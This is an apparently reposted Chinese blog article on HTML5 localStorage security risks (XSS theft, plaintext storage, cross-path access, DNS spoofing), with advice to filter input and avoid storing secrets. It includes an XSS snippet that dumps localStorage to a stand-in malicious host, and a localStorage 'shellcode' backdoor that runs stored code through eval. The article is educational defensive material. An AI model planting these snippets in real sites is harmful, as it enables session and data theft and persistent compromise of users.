[html5]localStorage的原理和HTML5本地存储安全性

http://zccst.iteye.com/blog/2194344

HTML5本地存储的前身就是Cookie,HTML5的本地存储是使用localStorage对象将WEB数据持久化在本地。相比较而言HTML5本地存储中每个域的存储大小默认是5M,比起Cookie的4K要大的多。而且存储和读取数据的代码极为简练:

Window.localStorage.setItem(key,value);//存储数据 
Window.localStorage.getItem(key);//读取数据 
Window.localStorage.removeItem(key);//删除数据项 
Window.localStorage.clear();//删除所有数据

  那么现在我们是否可以简单的认为,HTML5存储已经可以代替Cookie存储。而这种新的存储方式又在实际应用中带来了哪些新的安全风险。带着这些疑问我们来进行下面的讨论。

  (1)、是否可以代替Cookie

  浏览器使用Cookie进行身份验证已经好多年,那现在既然localStorage存储空间那么大,是否可以把身份验证的数据直接移植过来呢。以现在来看,把身份验证数据使用localStorage进行存储还不太成熟。我们知道,通常可以使用XSS漏洞来获取到Cookie,然后用这个Cookie进行身份验证登录。后来为了防止通过XSS获取Cookie数据,浏览器支持了使用HTTPONLY来保护Cookie不被XSS攻击获取到。而localStorage存储没有对XSS攻击有任何的抵御机制。一旦出现XSS漏洞,那么存储在localStorage里的数据就极易被获取到。

  如果一个网站存在XSS漏洞,那么攻击者注入如下代码,就可以获取使用localStorage存储在本地的所有信息。

Js代码  

  1. var i = 0;
  2. var str = "";
  3. while (localStorage.key(i) != null)
  4. {
  5. var key = localStorage.key(i);
  6. str += key + ": " + localStorage.getItem(key);
  7. i++;
  8. }
  9. document.location="http://your-malicious-site.com?stolen="+ str;

  攻击者也可以简单的使用localStorage.removeItem(key)和localStorage.clear()对存储数据进行清空。

  (2)、不要存储敏感信息

  从(1)中知道,从远程攻击来看localStorage存储的数据容易被XSS攻击获取,所以不宜把身份验证信息或敏感信息用localStorage存储。而从本地攻击角度来说,从localStorage自身的存储方式和存储时效来看也不宜存储敏感信息。

  五大浏览器现在都已经支持以localStorage方式进行存储,其中Chrome,Opera,Safari这三款浏览器中都有了查看本地存储的功能模块。但是不同浏览器对localStorage存储方式还是略有不同。以下是五大浏览器localStorage存储方式: 
 
HTML5本地存储的安全性

  通过上面的描述可以看出,除了Opera浏览器采用BASE64加密外(BASE64也是可以轻松解密的),其他浏览器均是采用明文存储数据。

  另一方面,在数据存储的时效上,localStorage并不会像Cookie那样可以设置数据存活的时限,只要用户不主动删除,localStorage存储的数据将会永久存在。

  根据以上对存储方式和存储时效的分析,建议不要使用localStorage方式存储敏感信息,那怕这些信息进行过加密。

  (3)、严格过滤输入输出

  对于本地存储,为了方便再次加载数据,常常会把数据存储在本地。等再此加载的时候,直接从本地读取数据显示在网页上。在某些情况下,在通过在localStorage存储中写入或读取数据的时候,如果数据没有经过输入输出严格过滤,那么极易可能这些数据被作为HTML代码进行解析,从而产生XSS攻击。

  Twitter就发生过localStorage XSS漏洞。次漏洞触发的条件是,在Twitter的个人主页上执行以下存储代码后,每次再打开个人主页时就会弹出/xss/框。

  从这段代码可以看出,Twitter会使用localStorage方法把一些个人数据存储到本地,每次加载个人主页面的时候就会从本地存储取数据,然后由于Twitter忽略了对去除数据的严格过滤导致存储的代码会被当作HMTL编码执行,进而发生跨站攻击。

  Twitter localStorage XSS 漏洞详细信息可以查看:http://www.wooyun.org/bugs/ wooyun-2010-03075。虽然Twitter这个漏洞利用起来非常困难,但它再一次告诉我们本着一切输入输出都是有害的原则,要对数据进行严格的输入输出过滤。

  (4)、容易遭受跨目录攻击

  localStroage存储方式不会像Cookie存储一样可以指定域中的路径,在localStroage存储方式中没有域路径的概念。也就是说,如果一个域下的任意路径存在XSS漏洞,整个域下存储的数据,在知道存储名称的情况下,都可以被获取到。

  假设下面两个链接是使用localStorage来存储数据:

  用户xisigr和xhack各自的blog链接虽然属于同一个域,但却有不同的路径,一个路径为xisigr,另一个路径为xhack。假设xisigr用户发现自己的路径下存在存储型XSS漏洞,那么就可以在自己的blog中加入获取数据代码,其中核心代码为localStorage.getItem(“name”)。xhack用户并不需要登录blog,他只要访问http://h.example.com/xisigr,本地存储数据就会被获取到。

  (5)、容易遭受DNS欺骗攻击

  Google在没有使用HTML5本地存储前,是使用Google Gears方式来进行本地存储的,那个时候Google Gears就遭到过DNS欺骗攻击。Google Gears支持离线存储,可以把Gmail,WordPresss这样网站数据的以SQLite数据库的形式存储下来,以后用户就可以对存储的网站数据进行离线读取或删除操作。如果攻击者发动DNS欺骗攻击,那么就可以注入本地数据库,获取数据或者留下永久的后门。这样将会造成对用户持久的危害。Google Gears所遭受的DNS欺骗攻击方式在HTML5本地存储上也是同样有效的。

  (6)、恶意代码栖息的温床

  在第六点中给出“恶意代码栖息的温床”这个小标题有些夸大的效果。其实这里想说的是HTML5本地存储在空间上和时间上都将称为今后存储的趋势,料想“恶意代码们”自然会大雁南飞转移栖息到这张温床。

  那么,何为HTML5本地存储的空间和时间呢?空间这里指的是存储空间,比起Cookie 4K空间的微小来说,HTML5的localStroage方法默认就可以使浏览器存储5M空间可以说是博大,而Safari浏览器可以支持到500M更加让HTML5存储霸气外露。时间上,随着HTML5技术日渐成熟,除了各大浏览器厂商争先在自己的产品中支持HTML5外,一些大应用软件厂商也对其信赖有佳。比如2011.11月份Adobe宣布放弃手机上的FLASH, 而有HTML5全面取而代之。随着时间的推移,HTML5大脚步前行的速度也会越来越快,也会使得用到HTML5本地存储的应用会越来越多。

  上面从理论上分析了,“恶意代码栖息的温床”的可能性。从实际技术上的可行性也是非常简单。下面是在本地留后门的核心代码:

Js代码  

    1. // 保存shellcode
    2. function setShellCodz(codz){
    3. window.localStorage.setItem("shellcodz", codz);
    4. }
    5. // 执行shellcode
    6. function getShellCodz(){
    7. eval(window.localStorage.getItem("shellcodz"));
    8. }
    9. // 删除shellcode
    10. function delShellCodz(){
    11. window.localStorage.removeItem("shellcodz");
    12. }
时间: 2024-09-30 06:06:25

[html5]localStorage的原理和HTML5本地存储安全性的相关文章

(转)HTML5开发学习(2):本地存储之localStorage 、sessionStorage、globalStorage

原文:http://www.cnblogs.com/xumingxiang/archive/2012/03/25/2416386.html HTML5开发学习(2):本地存储之localStorage .sessionStorage.globalStorage   Posted on 2012-03-25 11:23 祥叔 阅读(2) 评论(0)  编辑 收藏 HTML5 提供了四种在客户端存储数据的新方法,即 localStorage .sessionStorage.globalStorage

(转)HTML5开发学习(3):本地存储之Web Sql Database

原文:http://www.cnblogs.com/xumingxiang/archive/2012/03/25/2416386.html HTML5开发学习(3):本地存储之Web Sql Database(附源码) Posted on 2012-03-25 14:03 祥叔 阅读(0) 评论(0)  编辑 收藏 接着上一篇,这节介绍Html5 本地存储中的一个很重要的概念--Web Sql Database ,正因为本人觉得这个很重要,所有独立出来重点介绍.即时你完全没听说过这个概念,望文生

HTML5 学习笔记(三)——本地存储

目录 一.HTML4客户端存储 1.1.提交表单发送到服务器的信息 1.2.客户端本地存储概要 二.localStorage 2.1.添加 2.2.取值 2.3.修改 2.4.删除 2.5.跨页面与跨域 2.6.存储位置与SQLite 2.7.用途.练习与兼容性 三.sessionStorage 3.1.sessionStorage使用 3.2.Web本地存储事件监听 3.3.cookie.sessionStorage.localStorage比较 四.Web SQL Database 4.1.

HTML5移动开发实战必备知识——本地存储(1)

本地缓存是HTML5出现的新技术,这个技术的出现使得移动web的开发成为了可能.我们都知道,要想打造一个高性能的移动应用,速度是关键.而在HTML5之前,只有cookie能够存储数据,大小只有4kb.这严重限制了应用文件的存储,导致web开发的移动应用程序需要较长的加载时间.有了本地存储,让web移动应用能够更接近原生. 浏览器中,本地存储通过window.localStorage调用.判断浏览器是否支持本地存储的代码如下: if(window.localStorage){ alert('Thi

HTML5系列三(多媒体播放、本地存储、本地数据库、离线应用)

各浏览器对编码格式的支持情况 audio和video元素的属性介绍 1.src:媒体数据的URL地址 <video src="pr6.mp4"></video> <video src="pr6.mp4" width="320" height="240"></video> 2.autoplay:是否自动播放 <video src="pr6.mp4" aut

HTML5移动开发实战必备知识——本地存储(2)

了解了一些基本的本地存储用法和思想后,我们来系统的介绍一下本地存储. 本地存储分为三大类:localStorage/sessionStorage/本地数据库 localStorage和sessionStorage二者的用法.所包含的函数.调用方法等都是相同的,二者仅仅是含义不同.其中,localStorage所存储的数据是长期有效的,而sessionStorage所存储的信息当每个会话(session)关闭时就会销毁(通俗的说就是页面关闭后数据自动销毁). 由于二者的特性不同,因此应用的场景也有

兼容多浏览器的本地存储

在做考试系统时需要解决这样一个问题,就是当考生考试时可能出出现断网.关闭浏览器,刷新等问题,数据此时可能没有及时写入数据库,所以造成数据丢失问题,,所以这里就需要用到本地存储,以前的版本都是用cookie,但是不得不说cookie太小了,只有可怜的4k,而机房的网有时候实在是让人捉急,所以,考虑换一种方案. 直接读取XML实现方式 因为本地存储平时接触的不是太多,开始想的只是简单的读取本地的XML,做起来倒是挺容易的,一个语句就能搞定: <script language="javascri

HTML5本地存储localStorage、sessionStorage及IE专属UserData

By:王美建 from:http://www.cnblogs.com/wangmeijian/p/4518606.html 转载请保留署名和出处! 在客户端存储数据用的最普遍的方式非cookie莫属,随着HTML5的普及,新的本地存储方式localStorage和sessionStorage将在标准浏览器上大展身手.localStorage和sessionStorage是HTML5的新特性之一,说是新特性,其实微软公司早在IE8上就已经支持localStorage和sessionStorage这

HTML5移动开发之路(19)——HTML5 Local Storage(本地存储)

本文为 兄弟连IT教育 机构官方 HTML5培训 教程,主要介绍:HTML5移动开发之路(19)--HTML5 Local Storage(本地存储) 一.浏览器存储的发展历程 本地存储解决方案很多,比如Flash SharedObject.Google Gears.Cookie.DOM Storage.User Data.window.name.Silverlight.Open Database等. 借用网上的一张图来看下目前主流的本地存储方案: Cookie: 在web中得到广泛应用,但局限